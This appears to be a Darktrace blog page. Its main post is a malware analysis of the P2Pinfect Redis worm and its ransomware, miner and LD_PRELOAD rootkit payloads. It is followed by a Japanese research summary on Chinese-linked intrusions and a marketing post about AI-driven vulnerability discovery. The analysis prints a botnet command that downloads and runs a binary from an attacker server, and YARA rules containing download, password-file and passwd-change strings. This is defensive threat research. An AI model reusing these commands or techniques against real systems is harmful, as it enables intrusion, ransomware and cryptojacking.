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June 25, 2024

From Dormant to Dangerous: P2Pinfect Evolves to Deploy New Ransomware and Cryptominer

P2Pinfect, a sophisticated Rust-based malware, has evolved from a dormant spreading botnet to actively deploying ransomware and a cryptominer, primarily infecting Redis servers and using a P2P C2. The updated version includes a user-mode rootkit, but its ransomware impact is limited by the low privileges often associated with Redis.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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25
Jun 2024

Introduction: Ramsomware and cryptominer

P2Pinfect is a Rust-based malware covered extensively by Cado Security in the past [1]. It is a fairly sophisticated malware sample that uses a peer-to-peer (P2P) botnet for its command and control (C2) mechanism. Upon initial discovery, the malware appeared mostly dormant. Previous Cado research showed that it would spread primarily via Redis and a limited SSH spreader but ultimately did not seem to have an objective other than to spread. Researchers from Cado Security (now part of Darktrace) have observed a new update to P2Pinfect that introduces a ransomware and crypto miner payload.

Recap

Cado Security researchers first discovered it during triage of honeypot telemetry in July of 2023. Based on these findings, it was determined that the campaign began on June 23rd based on the TLS certificate used for C2 communications.

Initial access

The malware spreads by exploiting the replication features in Redis - where Redis runs in a distributed cluster of many nodes, using a leader/follower topology. This allows follower nodes to become an exact replica of the leader nodes, allowing for reads to be spread across the whole cluster to balance load, and provide some resilience in case a node goes down. [2]

This is frequently exploited by threat actors, as leaders can instruct followers to load arbitrary modules, which can in turn be used to gain code execution on the follower nodes. P2Pinfect exploits this by using the SLAVEOF command to turn discovered opened Redis nodes into a follower node of the threat actor server. It then uses a series of commands to write out a shared object (.so) file, and then instructs the follower to load it. Once this is done, the attacker can send arbitrary commands to the follower for it to execute.

Redis commands by P2Pinfect
Figure 1: Redis commands used by P2Pinfect for initial access (event ordering is non-linear)
P2Pinfect utilizes Redis initial access vector
Figure 2: P2Pinfect also utilizes another Redis initial access vector where it abuses the config commands to write a cron job to the cron directory

Main payload

P2Pinfect is a worm, so all infected machines will scan the internet for more servers to infect with the same vector described above. P2Pinfect also features a basic SSH password sprayer, where it will try a few common passwords with a few common users, but the success of this infection vector seems to be a lot less than with Redis, likely as it is oversaturated.

Upon launch it drops an SSH key into the authorized key file for the current user and runs a series of commands to prevent access to the Redis instance apart from IPs belonging to existing connections. This is done to prevent other threat actors from discovering and exploiting the server. It also tries to update the SSH configuration and restart SSH service to allow root login with password. It will also try changing passwords of other users, and will use sudo (if it has permission to) to perform privilege escalation.

The botnet is the most notable feature of P2Pinfect. As the name suggests, it is a peer-to-peer botnet, where every infected machine acts as a node in the network, and maintains a connection to several other nodes. This results in the botnet forming a huge mesh network, which the malware author makes use of to push out updated binaries across the network, via a gossip mechanism. The author simply needs to notify one peer, and it will inform all its peers and so on until the new binary is fully propagated across the network. When a new peer joins the network, non-expired commands are replayed to the peer by the network.

Updated main payload

The main binary appears to have undergone a rewrite. It now appears to be entirely written using tokio, an async framework for rust, and packed with UPX. Since it was first examined the payload, the internals have changed drastically. The binary is stripped and partially obfuscated, making static analysis difficult.

P2Pinfect used to feature persistence by adding itself to .bash_logout as well as a cron job, but it appears to no longer do either of these. The rest of its behaviors, such as the initial setup outlined previously, are the same.

Updated bash behavior

P2Pinfect drops a secondary binary at /tmp/bash and executes it. This process sets its command line args to [kworker/1:0H] in order to blend in on the process listing. /tmp/bash serves as a health check for the main binary. As previously documented, the main binary listens on a random port between 60100 to 60150 that other botnet peers will connect to. /tmp/bash periodically sends a request to the port to check it is alive and assumedly will respawn the main binary if it goes down.

System logs
Figure 3: Sysmon logs for the /tmp/bash payload

Miner payload becomes active

Previously, the Cado Security research team had observed a binary called miner that is embedded in P2Pinfect, however this appeared to never be used. However, Cado observed that the main binary dropping the miner binary to a mktmp file (mktmp creates a file in /tmp with some random characters as the name) and executing it. It features a built-in configuration, with the Monero wallet and pool preconfigured. The miner is only activated after approximately five minutes has elapsed since the main payload was started.

Wallet Details
Figure 4: Wallet details for the attacker’s supposed wallet 4BDcc1fBZ26HAzPpYHKczqe95AKoURDM6EmnwbPfWBqJHgLEXaZSpQYM8pym2Jt8JJRNT5vjKHAU1B1mmCCJT9vJHaG2QRL

The attacker has made around 71 XMR, equivalent to roughly £9,660. Interestingly, the mining pool only shows one worker active at 22 KH/s (which generates around £15 a month) which doesn’t seem to match up with the size of the botnet nor how much they have made.

Upon reviewing the actual traffic from the miner, it appears to be trying to make a connection to various Hetzner IPs on TCP port 19999 and does not start mining until this is successful. These IPs appear to belong to the c3pool mining pool and not the supportxmr pool, suggesting that the config may have been left as a red herring. Checking c3pool for the wallet address, there is no activity for the above wallet address beyond September 2023. It is likely that there is another wallet address being used.

New ransomware payload

Upon joining the botnet, P2Pinfect receives a command instructing it to download and run a new binary called rsagen, which is a ransomware payload.

{"i":10,"c":1715837570,"e":1734397199,"t":{"T":{"flag":5,"e":null,"f":null,"d":[0,0],"re":false,"ts":[{"retry":{"retry":5,"delay_ms":[10000,35000]},"delay_exec_ms":null,"error_continue":false,"cmd":{"Inner":{"Download":{"url":"http://129.144.180.26:60107/dl/rsagen","save":"/tmp/rsagen"}}}},{"retry":null,"delay_exec_ms":null,"error_continue":true,"cmd":{"Shell":"bash -c 'chmod +x /tmp/rsagen; /tmp/rsagen ZW5jYXJncyAxIGJlc3R0cmNvdmVyeUBmaXJlbWFpbC5jYyxyYW5kYm5vdGhpbmdAdHV0YW5vdGEuY29t'"}}]}}} 

It is interesting to note that across all detonations, the download URL has not changed, and the command JSON is identical. This suggests that the command was issued directly by the malware operator, and the download server may be an attacker-controlled server used to host additional payloads.

This JSON structure is typical of a command from the botnet. As mentioned previously, when a new botnet peer joins the network, it is replayed non-expired commands. The c and e parameters contain timestamps that are likely to be command creation and expiry times, it can be determined that the command to start the ransomware was issued on May 16, 2024 and will continue to be active until December 17. Other interesting parameters can also be seen, such as type 5 (exec on linux, exec on windows is type 6), as well as retry parameters. Clearly a large amount of thought and effort has been put into designing P2Pinfect, far exceeding the majority of malware in sophistication.

The base64 args of the binary cleanly decode to “encargs 1 [email protected],[email protected]” - which are the email addresses used in the ransom note for where to send payment confirmations to. It’s unknown what the encargs 1 part is for.

downloaded file
Figure 5: The main binary obediently downloads and the file is executed

Upon launch, rsagen checks if the ransom note already exists in either the current working directory (/tmp), or the home directory of the user the process is running under. If it does, it exits immediately. Otherwise, it will instead begin the encryption process. The exact cryptographic process is not known, however Cado’s assumption is that it generates a public key used to encrypt files, and encrypts the corresponding private key using the attacker’s public key, which is then added to the ransom note. This allows the attacker to then decrypt the private key and return it to the user after they pay, without needing to include any secrets or C2 on the client machine.

Ransom note
Figure 6: Ransom note, titled “Your data has been locked!.txt”

As they are using Monero, it is impossible to figure out how much they have earned so far from the campaign. 1 XMR is currently £136 as of writing, which is on the cheaper end of ransomware. As this is an untargeted and opportunistic attack, it is likely the victims are to be low value, so having a low price is to be expected.

After writing out the note, the ransomware iterates through all directories on the file system, and overwrites the contents with an encrypted version. It then appends .encrypted to the end of the file name.

Linux does not require file extensions on files, however the malware seems to only target files that have specific extensions. Instead of checking for particular extensions, it instead has a massive string which it then checks if the extension is contained in.

mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder

This makes it quite difficult to pick out a complete list of extensions, however going through it there are many file formats, such as py, sqlite3, sql, mkv, doc, xls, db, key, pfx, wav, mp3, and more.

The ransomware stores a database of the files it encrypted in a mktmp file with .lockedfiles appended. The user is then expected to run the rsagen binary again with a decryption token in order to have their files decrypted. Cado Security does not possess a decryption token as this would require paying the attackers.

As the ransomware runs with the privilege level of its parent, it is likely that it will be running as the Redis user in the wild since the main initial access vector is Redis. In a typical deployment, this user has limited permissions and will only be able to access files saved by Redis. It also should not have sudo privileges, so would not be able to use it for privilege escalation.

Redis by default doesn’t save any data to disk and is typically used for in-memory only caching or key value store, so it’s unclear what exactly the ransomware could ransom other than its config files. Redis can be configured to save data to files - but the extension for this is typically rdb, which is not included in the list of extensions that P2Pinfect will ransom.

With that in mind, it’s unclear what the ransomware is actually designed to ransom. As mentioned in the recap, P2Pinfect does have a limited ability to spread via SSH, which would likely compromise higher privilege users with actual files to encrypt. The spread of P2Pinfect over SSH is far more limited compared to Redis however, so the impact is much less widespread.

New usermode rootkit

P2Pinfect now features a usermode rootkit. It will seek out .bashrc files it has permission to modify in user home directories, and append export LD_PRELOAD=/home/<user>/.lib/libs.so.1 to it. This results in the libs.so.1 file being preloaded whenever a linkable executable (such as the ls or cat commands) is run.

The shared object features definitions for the following methods, which hijack legitimate calls to it in order to hide specific information:

  • fopen & fopen64
  • open & open64
  • lstat & lstat64
  • unlink & unlinkat
  • readdir & readdir64

When a call to open or fopen is hijacked, it checks if the argument passed is one of the PIDs associated with the main file, /tmp/bash, or the miner. If it is one of these, it sets errno to 2 (file not found) and returns. Otherwise, it passes the call to the respective original function. If it is a request to open /proc/net/tcp or /proc/net/tcp6, it will filter out any ports between 60100 and 60150 from the return stream.

Similarly with hijacked calls captured to lstat or unlink, it checks if the argument passed is the main process’ binary. It does this by using ends_with string function on the file name, so any file with the same random name will be hidden from stat and unlink, regardless of if it is in the right directory or is the actual main file.

Finally with readdir, it will run the original function, but remove any of the process PIDs or the main file from the returned results.

decompiled pseudocode for readdir function
Figure 7: The decompiled pseudocode for the hijacked readdir function

It is interesting to note that when a specific environment variable is set, it will bypass all of the checks. Based on analysis of the original research from Cado Security, this is likely used to allow shell commands from the other malware binaries to be run without interference by the rootkit.

Pseudocode for env_var check
Figure 8: The decompiled pseudocode for the env_var check

The rootkit is dynamically generated by the main binary at runtime, with it choosing a random env_var to set as the bypass string, and adding its own file name plus PIDs to the SO before writing it to disk.

Like the ransomware, the usermode rootkit suffers from a fatal flaw; if the initial access is Redis, it is likely that it will only affect the Redis user as the Redis user is only used to run the Redis server and won’t have access to other user’s home directories.

Botnet for hire?

One theory we had following analysis was that P2Pinfect might be a botnet for hire. This is primarily due to how the new ransomware payload is being delivered from a fixed URL by command, compared to the other payloads which are baked into the main payload. This extensibility would make sense for the threat actor to use in order to deploy arbitrary payloads onto botnet nodes on a whim. This suggests that P2Pinfect may accept money for deploying other threat actors' payloads onto their botnet.

This theory is also supported by the following factors:

  • The miner wallet address is different from the ransomware wallet address, suggesting they might be separate entities.
  • The built in miner uses as much CPU as it can, which often has interfered with the operation of the ransomware. It doesn’t make sense for an attacker motivated by ransomware to deploy a miner as well.
  • The rsagen payload is not protected by any of P2Pinfect’s defensive features, such as the usermode rootkit.
  • As discussed, the command to run rsagen is a generic download and run command, whereas the miner has its own custom command set.
  • main is written using tokio and packed with UPX, rsagen is not packed and does not use tokio.

On the other hand, the following factors seem to contradict the idea that the distribution of rsagen could be evidence of a botnet for hire:

  • For both the main P2Pinfect binary and rsagen, the compiler string is GCC(4.8.5 20150623 (Red Hat 4.8.5-44)). This shows that the author of P2Pinfect almost certainly compiled it, assuming that the strings have not been tampered with
  • Both of the payloads are written in Rust. It’s certainly possible that a third-party attacker could also have chosen Rust for the project, but combined with the above point, it seems less likely.

While it is possible that P2Pinfect might be engaging in initial access brokerage, the facts of the matter seem to point to it most likely not being the case.

Conclusion

P2Pinfect is still a highly ubiquitous malware, which has spread to many servers. With its latest updates to the crypto miner, ransomware payload, and rootkit elements, it demonstrates the malware author’s continued efforts into profiting off their illicit access and spreading the network further, as it continues to worm across the internet.

The choice of a ransomware payload for malware primarily targeting a server that stores ephemeral in-memory data is an odd one, and P2Pinfect will likely see far more profit from their miner than their ransomware due to the limited amount of low-value files it can access due to its permission level.

The introduction of the usermode rootkit is a “good on paper” addition to the malware - while it is effective at hiding the main binaries, a user that becomes aware of its existence can easily remove the LD preload or the binary. If the initial access is Redis, the usermode rootkit will also be completely ineffective as it can only add the preload for the Redis service account, which other users will likely not log in as.

Indicators of compromise (IoCs)

Hashes

main 4f949750575d7970c20e009da115171d28f1c96b8b6a6e2623580fa8be1753d9

bash 2c8a37285804151fb727ee0ddc63e4aec54d9460b8b23505557467284f953e4b

miner 8a29238ef597df9c34411e3524109546894b3cca67c2690f63c4fb53a433f4e3

rsagen 9b74bfec39e2fcd8dd6dda6c02e1f1f8e64c10da2e06b6e09ccbe6234a828acb

libs.so.1 Dynamically generated, no consistent hash

IPs

Download server for rsagen 129[.]144[.]180[.]26:60107

Mining pool IP 1 88[.]198[.]117[.]174:19999

Mining pool IP 2 159[.]69[.]83[.]232:19999

Mining pool IP 3 195[.]201[.]97[.]156:19999

Yara

Main

Please note the main binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectMain {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect main payload"
  strings:
    $s1 = "nohup $SHELL -c \"echo chmod 777  /tmp/"
    $s2 = "libs.so.1"
    $s3 = "SHELLzshkshcshsh.bashrc"
    $s4 = "curl http:// -o /tmp/; if [ ! -f /tmp/ ]; then wget http:// -O /tmp/; fi; if [ ! -f /tmp/ ]; then ; fi; echo  && /tmp/"
    $s5 = "root:x:0:0:root:/root:/bin/bash(?:([a-z_][a-z0-9_]*?)@)?(?:(?:([0-9]\\.){3}[0-9]{1,3})|(?:([a-zA-Z0-9][\\.a-zA-Z0-9-]+)))"
    $s6 = "/etc/ssh/ssh_config/root/etc/hosts/home~/.././127.0::1.bash_historyscp-i-p-P.ssh/config(?:[0-9]{1,3}\\.){3}[0-9]{1,3}"
    $s7 = "system.exec \"bash -c \\\"\\\"\""
    $s8 = "system.exec \"\""
    $s9 = "powershell -EncodedCommand"
    $s10 = "GET /ip HTTP/1.1"
    $s11 = "^(.*?):.*?:(\\d+):\\d+:.*?:(.*?):(.*?)$"
    $s12 = "/etc/passwd.opass123456echo -e \"\" | passwd && echo  > ; echo -e \";/bin/bash-c\" | sudo -S passwd"
  condition:
    uint16(0) == 0x457f and 4 of them
}

Bash

Please note the bash binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectBash {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect bash payload"
  strings:
    $h1 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 0A 59 E8 17 6C 01 00 84 C0 0F 85 0F 03 00 00 }
    $h2 = { 48 8B 9C 24 ?? ?? 00 00 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 09 59 E8 34 6C 01 00 84 C0 0F 85 AC 02 00 00 }
    $h3 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 03 59 E8 DD 6B 01 00 84 C0 0F 85 DF 03 00 00 }
  condition:
    uint16(0) == 0x457f and all of them
}

Miner (xmrig)

rule XMRig {
   meta:
      attack = "T1496"
      description = "Detects XMRig miner"
   strings:
      $ = "password for mining server" nocase wide ascii
      $ = "threads count to initialize RandomX dataset" nocase wide ascii
      $ = "display this help and exit" nocase wide ascii
      $ = "maximum CPU threads count (in percentage) hint for autoconfig" nocase wide ascii
      $ = "enable CUDA mining backend" nocase wide ascii
      $ = "cryptonight" nocase wide ascii
   condition:
      5 of them
}

rsagen

rule P2PinfectRsagen {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect rsagen payload"
  strings:
    $a1 = "$ENC_EXE$"
    $a2 = "$EMAIL_ADDRS$"
    $a3 = "$XMR_COUNT$"
    $a4 = "$XMR_ADDR$"
    $a5 = "$KEY_STR$"
    $a6 = "$ENC_DATABASE$"
    $b1 = "mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder"
    $c1 = "lock failedlocked"
    $c2 = "/root/homeencrypt"
  condition:
    uint16(0) == 0x457f and (2 of ($a*) or $b1 or all of ($c*))
}

libs.so.1

rule P2PinfectLDPreload {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect libs.so.1 payload"
  strings:
    $a1 = "env_var"
    $a2 = "main_file"
    $a3 = "hide.c"
    $b1 = "prefix"
    $b2 = "process1"
    $b3 = "process2"
    $b4 = "process3"
    $b5 = "owner"
    $c1 = "%d: [0-9A-Fa-f]:%X [0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu 2s"
    $c2 = "/proc/net/tcp"
    $c3 = "/proc/net/tcp6"
  condition:
    uint16(0) == 0x457f and (all of ($a*) or all of ($b*) or all of ($c*))
}

References:

  1. https://www.darktrace.com/blog/p2pinfect-new-variant-targets-mips-devices
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/  
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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April 16, 2026

中国系サイバー作戦の進化 - それはサイバーリスクおよびレジリエンスにとって何を意味するか

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サイバーセキュリティにおいては、これまではインシデント、侵害、キャンペーン、そして脅威グループを中心にリスクを整理してきました。これらの要素は現在も重要です -しかし個別のインシデントにとらわれていては、エコシステム全体の形成を見逃してしまう危険があります。国家が支援する攻撃者グループは、個別の攻撃を実行したり短期的な目標を達成したりするためだけではなく、サイバー作戦を長期的な戦略上の影響力を構築するために使用するようになっています。  

当社の最新の調査レポート、Crimson Echoにおいてもこうした状況にあわせて視点を変えています。キャンペーンやマルウェアファミリー、あるいはアクターのラベルを個別のイベントとして分類するのではなく、ダークトレースの脅威調査チームは中国系グループのアクティビティを長期的に連続した行動として分析しました。このように視野を拡大することで、これらの攻撃者がさまざまな環境内でどのように存在しているか、すなわち、静かに、辛抱強く、持続的に、そして多くのケースにおいて識別可能な「インシデント」が発生するかなり前から下準備をしている様子が明らかになりました。  

中国系サイバー脅威のこれまでの変化

中国系サイバーアクティビティは過去20年間において4つのフェーズで進化してきたと言えます。初期の、ボリュームを重視したオペレーションは1990年代にから2000年代初めに見られ、それが2010年代にはより構造化された、戦略に沿った活動となり、そして現在の高度な適応性を備えた、アイデンティティを中心とした侵入へと進化しています。  

現在のフェーズの特徴は、大規模、攻撃の自制、そして永続化です。攻撃者はアクセスを確立し、その戦略的価値を評価し、維持します。これはより全体的な変化を反映したものです。つまりサイバー作戦は長期的な経済的および地政学的戦略に組み込まれる傾向が強まっているということです。デジタル環境へのアクセス、特に国家の重要インフラやサプライチェーン、先端テクノロジーにつながるものは、ある種の長期的な戦略的影響力と見られるようになりました。  

複雑な問題に対するダークトレースのビヘイビア分析アプローチ

国家が支援するサイバーアクティビティを分析する際、難しい問題の1つはアトリビューションです。従来のアプローチは多くの場合、特定の脅威グループ、マルウェアファミリー、あるいはインフラに判定を依存していました。しかしこれらは絶えず変化するものであり、さらに中国系オペレーションの場合、しばしば重複が見られます。

Crimson Echo は2022年7月から2025年9月の間の3年間にDarktrace運用環境で観測された異常なアクティビティを回顧的に分析した結果です。ビヘイビア検知、脅威ハンティング、オープンソースインテリジェンス、および構造化されたアトリビューションフレームワーク(Darktrace Cybersecurity Attribution Framework)を用いて、数十件の中~高確度の事例を特定し、繰り返し発生しているオペレーションのパターンを分析しました。  

この長期的視野を持ったビヘイビア中心型アプローチにより、ダークトレースは侵入がどのように展開していくかについての一定のパターンを特定することができ、動作のパターンが重要であることがあらためて確認されました。  

データが示していること

分析からいくつかの明確な傾向が浮かび上がりました:

  • 標的は戦略的に重要なセクターに集中していたのです。データセット全体で、侵入の88%は重要インフラと分類される、輸送、重要製造業、政府、医療、ITサービスを含む組織で発生しています。   
  • 戦略的に重要な西側経済圏が主な焦点です。米国だけで、観測されたケースの22.5%を占めており、ドイツ、イタリア、スペイン、および英国を含めた主要なヨーロッパの経済圏と合わせると侵入の半数以上(55%)がこれらの地域に集中しています。  
  • 侵入の63%近くがインターネットに接続されたシステムのエクスプロイトから始まっており、外部に露出したインフラの持続的リスクがあらためて浮き彫りになりました。  

サイバー作戦の2つのモデル

データセット全体で、中国系のアクティビティは2つの作戦モデルに従っていることが確認されました。  

1つ目は“スマッシュアンドグラブ”(強奪)型と表現することができます。これらはスピードのために最適化された短期型の侵入です。攻撃者はすばやく動き  – しばしば48時間以内にデータを抜き出し  – ステルス性よりも規模を重視します。これらの侵害の期間の中央値は10日ほどです。検知の危険を冒しても短期的利益を得ようとしていることが明らかです。  

2つ目は“ローアンドスロー”(低速)型です。これらのオペレーションはデータセット内ではあまり多くありませんでしたが、潜在的影響はより重大です。ここでは攻撃者は持続性を重視し、アイデンティティシステムや正規の管理ツールを通じて永続的なアクセスを確立し、数か月間、場合によっては数年にわたって検知されないままアクセスを維持しようとします。1つの注目すべきケースでは、脅威アクターは環境に完全に侵入して永続性を確立し、600日以上経ってからようやく再浮上した例もありました。このようなオペレーションの一時停止は侵入の深さと脅威アクターの長期的な戦略的意図の両方を表しています。このことはサイバーアクセスが長期にわたって保有し活用するべき戦略的資産であることを示しており、これは最も戦略的に重要なセクターにおいて最もよく見られたパターンです。  

同じ作戦エコシステムにおいて両方のモデルを並行して利用し、標的の価値、緊急性、意図するアクセスに基づいて適切なモデルを選択することも可能だという点に注意することも重要です。“スマッシュアンドグラブ” モデルが見られたからといって諜報活動が失敗したとのみ解釈すべきではなく、むしろ目標に沿った作戦上の選択かもしれないと見るべきでしょう。“ローアンドスロー” 型は粘り強い活動のために最適化され、“スマッシュアンドグラブ” 型はスピードのために最適化されています。どちらも意図的な作戦上の選択と見られ、必ずしも能力を表していません。  

サイバーリスクを再考する

多くの組織にとって、サイバーリスクはいまだに一連の個別のイベントとして位置づけられています。何かが発生し、検知され、封じ込められ、組織はそれを乗り越えて前に進みます。しかし永続的アクセスは、特にクラウド、アイデンティティベースのSaaSやエージェント型システム、そして複雑なサプライチェーンネットワークが相互接続された環境では、重大な持続的露出リスクを作り出します。システムの中断やデータの流出が発生していなくても、そのアクセスによって業務や依存関係、そして戦略的意思決定についての情報を得られるかもしれません。サイバーリスクはますます長期的な競合情報収集に似てきています。

その影響はSOCだけの問題ではありません。組織はガバナンス、可視性、レジリエンスについての考え方を見直し、サイバー露出をインシデント対応の問題ではなく構造的なビジネスリスクとして扱う必要があります。  

次の目標

この調査の目的は、これらの脅威の仕組みについてより明確な理解を提供することにより、防御者がより早期にこれらを識別しより効果的に対応できるようにすることです。これには、インジケーターの追跡からビヘイビアの理解にシフトすること、アイデンティティプロバイダーを重要インフラリスクとして扱うこと、サプライヤーの監視を拡大すること、迅速な封じ込めのための能力に投資すること、などが含まれます。  

ダークトレースの最新調査、”Crimson Echo: ビヘイビア分析を通じて中国系サイバー諜報技術を理解する” についてより詳しく知るには、ビジネスリーダー、CISO、SOCアナリストに向けたCrimson Echoレポートのエグゼクティブサマリーを ここからダウンロードしてください。 

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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April 16, 2026

Why Behavioral AI Is the Answer to Mythos

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How AI is breaking the patch-and-prevent security model

The business world was upended last week by the news that Anthropic has developed a powerful new AI model, Claude Mythos, which poses unprecedented risk because of its ability to expose flaws in IT systems.  

Whether it’s Mythos or OpenAI’s GPT-5.4-Cyber, which was just announced on Tuesday, supercharged AI models in the hands of hackers will allow them to carry out attacks at machine speed, much faster than most businesses can stop them.  

This news underscores a stark reality for all leaders: Patching holes alone is not a sufficient control against modern cyberattacks. You must assume that your software is already vulnerable right now. And while LLMs are very good at spotting vulnerabilities, they’re pretty bad at reliably patching them.

Project Glasswing members say it could take months or years for patches to be applied. While that work is done, enterprises must be protected against Zero-Day attacks, or security holes that are still undiscovered.  

Most cybersecurity strategies today are built like a daily multivitamin: broad, preventative, and designed to keep the system generally healthy over time. Patch regularly. Update software. Reduce known vulnerabilities. It’s necessary, disciplined, and foundational. But it’s also built for a world where the risks are well known and defined, cycles are predictable, and exposure unfolds at a manageable pace.

What happens when that model no longer holds?

The AI cyber advantage: Behavioral AI

The vulnerabilities exposed by AI systems like Mythos aren’t the well-understood risks your “multivitamin” was designed to address. They are transient, fast-emerging entry points that exist just long enough to be exploited.

In that environment, prevention alone isn’t enough. You don’t need more vitamins—you need a painkiller. The future of cybersecurity won’t be defined by how well you maintain baseline health. It will be defined by how quickly you respond when something breaks and every second counts.

That’s why behavioral AI gives businesses a durable cyber advantage. Rather than trying to figure out what the attacker looks like, it learns what “normal” looks like across the digital ecosystem of each individual business.  

That’s exactly how behavioral AI works. It understands the self, or what's normal for the organization, and then it can spot deviations in from normal that are actually early-stage attacks.

The Darktrace approach to cybersecurity

At Darktrace, we’ve been defending our 10,000 customers using behavioral AI cybersecurity developed in our AI Research Centre in Cambridge, U.K.

Darktrace was built on the understanding that attacks do not arrive neatly labeled, and that the most damaging threats often emerge before signatures, indicators, or public disclosures can catch up.  

Our AI algorithms learn in real time from your personalized business data to learn what’s normal for every person and every asset, and the flows of data within your organization. By continuously understanding “normal” across your entire digital ecosystem, Darktrace identifies and contains threats emerging from unknown vulnerabilities and compromised supply chain dependencies, autonomously curtailing attacks at machine speed.  

Security for novel threats

Darktrace is built for a world where AI is not just accelerating attacks, but fundamentally reshaping how they originate. What makes our AI so unique is that it's proven time and again to identify cyber threats before public vulnerability disclosures, such as critical Ivanti vulnerabilities in 2025 and SAP NetWeaver exploitations tied to nation-state threat actors.  

As AI reshapes how vulnerabilities are found and exploited, cybersecurity must be anchored in something more durable than a list of known flaws. It requires a real-time understanding of the business itself: what belongs, what does not, and what must be stopped immediately.

What leaders should do right now

The leadership priority must shift accordingly.

First, stop treating unknown vulnerabilities as an edge case. AI‑driven discovery makes them the norm. Security programs built primarily around known flaws, signatures, and threat intelligence will always lag behind an attacker that is operating in real time.

Second, insist on an understanding of what is actually normal across the business. When threats are novel, labels are useless. The earliest and most reliable signal of danger is abnormal behavior—systems, users, or data flows that suddenly depart from what is expected. If you cannot see that deviation as it happens, you are effectively blind during the most critical window.

Finally, assume that the next serious incident will occur before remediation guidance is available. Ask what happens in those first minutes and hours. The organizations that maintain resilience are not the ones waiting for disclosure cycles to catch up—they are the ones that can autonomously identify and contain emerging threats as they unfold.

This is the reality of cybersecurity in an AI‑shaped world. Patching and prevention remain important foundations, but the advantage now belongs to those who can respond instantly when the unpredictable occurs.

Behavioral AI is security designed not just for known threats, but for the ones that AI will discover next.

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Ed Jennings
President and CEO
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